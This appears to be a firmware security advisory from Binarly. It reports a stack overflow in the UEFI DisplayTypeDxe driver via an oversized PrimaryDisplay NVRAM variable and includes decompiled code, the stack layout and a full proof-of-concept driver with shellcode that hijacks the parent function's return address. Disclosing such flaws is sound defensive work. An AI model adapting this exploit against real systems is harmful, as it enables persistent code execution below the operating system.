An attacker with local privileged access can exploit this vulnerability to elevate privileges from ring 3 or ring 0 (depends on the operating system) to DXE Runtime UEFI application and execute arbitrary code. A malicious code installed as a result of the vulnerability's exploitation in DXE driver could survive across an operating system (OS) boot process and runtime or modify NVRAM area on SPI flash storage (to gain persistence on target platform). Additionally, this vulnerability potentially could be used by threat actors to bypass OS security mechanisms (modify privileged memory or runtime variables), influence the OS boot process, and in some cases would allow an attacker to hook or modify EFI Runtime services.
Binarly REsearch Team has discovered a stack overflow vulnerability that allows a local priviledged user to access UEFI DXE driver and execute arbitrary code.
An attacker with local privileged access can exploit this vulnerability to elevate privileges from ring 3 or ring 0 (depends on the operating system) to DXE Runtime UEFI application and execute arbitrary code.A malicious code installed as a result of the vulnerability exploitation in DXE driver could survive across an operating system (OS) boot process and runtime or modify NVRAM area on SPI flash storage (to gain persistence on target platform).Additionally, this vulnerability potentially could be used by a threat actors to bypass OS security mechanisms (modify privileged memory or runtime variables), influence on OS boot process, and in some cases would allow an attacker to hook or modify EFI Runtime services.
Vulnerability exists in function located at offset 0xA20
in DisplayTypeDxe
driver.
EFI_STATUS __fastcall GetPrimaryDisplay(_BYTE *res)
{
EFI_STATUS result; // rax
char PrimaryDisplayValue; // [rsp+40h] [rbp+8h] BYREF
UINTN DataSize; // [rsp+48h] [rbp+10h] BYREF
if ( !res )
return EFI_INVALID_PARAMETER;
DataSize = 0i64;
*res = 1;
result = gRT_2F28->GetVariable(
L"PrimaryDisplay",
&EFI_GENERIC_VARIABLE_GUID_2DE0,
0i64,
&DataSize,
&PrimaryDisplayValue);
if ( result == EFI_BUFFER_TOO_SMALL )
result = gRT_2F28->GetVariable(
L"PrimaryDisplay",
&EFI_GENERIC_VARIABLE_GUID_2DE0,
0i64,
&DataSize,
&PrimaryDisplayValue);
if ( (result & 0x8000000000000000ui64) == 0i64 )
{
if ( (PrimaryDisplayValue & 0xFB) != 0 )
{
if ( ((PrimaryDisplayValue - 1) & 0xFD) != 0 )
{
if ( PrimaryDisplayValue == 2 )
*res = 2;
}
else
{
*res = 1;
}
}
else
{
*res = 0;
}
return 0i64;
}
return result;
}
The vulnerability exists due to incorrect use of the gRT->GetVariable()
service:
gRT->GetVariable()
, the value of the DataSize
local variable will be updated (DataSize
will contain the size of the value of the PrimaryDisplay
NVRAM variable)gRT->GetVariable()
, the value of the PrimaryDisplayValue
local variable will be updated (PrimaryDisplayValue
will contain the value of the PrimaryDisplay
NVRAM variable)PrimaryDisplay
NVRAM variable more than 1 byte, a stack overflow may occur, followed by execution of arbitrary codeBelow is a section of the stack for the function under consideration:
...
+0000000000000000 r db 8 dup(?)
+0000000000000008 PrimaryDisplayValue db ?
+0000000000000009 db ? ; undefined
+000000000000000A db ? ; undefined
+000000000000000B db ? ; undefined
+000000000000000C db ? ; undefined
+000000000000000D db ? ; undefined
+000000000000000E db ? ; undefined
+000000000000000F db ? ; undefined
+0000000000000010 DataSize dq ?
+0000000000000018
+0000000000000018 ; end of stack variables
...
The PrimaryDisplayValue
is higher than the return address value (r
), so we cannot overwrite the return address of the current function, but we can overwrite the return address of the parent function.
The state of the stack under debug is shown below:
Thus, if the value of the PrimaryDisplayValue
NVRAM variable is greater than 48 bytes, you can completely overwrite the return address of the parent function and execute arbitrary code.
Below is the source code of the driver that we wrote to change the value of the PrimaryDisplay
NVRAM variable.
#include <Uefi.h>
#include <Library/DebugLib.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/UefiRuntimeLib.h>
EFI_GUID gEfiGenericVariableGuid = {0x59d1c24f, 0x50f1, 0x401a, {0xb1, 0x01, 0xf3, 0x3e, 0x0d, 0xae, 0xd4, 0x43}};
/**
* @brief The module entry point.
*/
EFI_STATUS
EFIAPI
SetPrimaryDisplayEntryPoint(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable)
{
EFI_STATUS Status;
UINTN DataSize = 145;
UINT8 Data[] = {
// some data (40 bytes)
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
// shellcode address on stack (return address for parent function)
0x00, 0x35, 0xea, 0x07, 0x00, 0x00, 0x00, 0x00,
// shellcode start
0xb8, 0x18, 0xe0, 0x9e, 0x07, 0xba, 0x02, 0x00,
0x00, 0x00, 0x4c, 0x8b, 0x40, 0x40, 0x4c, 0x89,
0xc1, 0x41, 0xff, 0x50, 0x28, 0xb8, 0x18, 0xe0,
0x9e, 0x07, 0xba, 0x31, 0x35, 0xea, 0x07, 0x4c,
0x8b, 0x40, 0x40, 0x4c, 0x89, 0xc1, 0x41, 0xff,
0x50, 0x08, 0xeb, 0xfc, 0x90, 0x90, 0x90, 0x90,
0x90, 0x53, 0x00, 0x75, 0x00, 0x63, 0x00, 0x63,
0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x66,
0x00, 0x75, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79,
0x00, 0x20, 0x00, 0x65, 0x00, 0x78, 0x00, 0x70,
0x00, 0x6c, 0x00, 0x6f, 0x00, 0x69, 0x00, 0x74,
0x00, 0x65, 0x00, 0x64, 0x00, 0x10, 0x00, 0x00,
0x00};
Status = gRT->SetVariable(L"PrimaryDisplay",
&gEfiGenericVariableGuid,
EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS,
DataSize,
&Data);
DebugPrint(DEBUG_INFO,
"Setting PrimaryDisplay variable: GUID = %g, Size = %08x, Status = %r\n",
gEfiGenericVariableGuid,
DataSize,
Status);
return Status;
}
/**
* @brief Handles unload request of this module.
*/
EFI_STATUS
EFIAPI
SetPrimaryDisplayUnload(
IN EFI_HANDLE ImageHandle)
{
return EFI_SUCCESS;
}
After the value of the NVRAM variable is set, the DisplayTypeDxe
driver will always execute the shellcode. In this case, the shellcode displays the message "Successfully exploited".
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
BINARLY efiXplorer team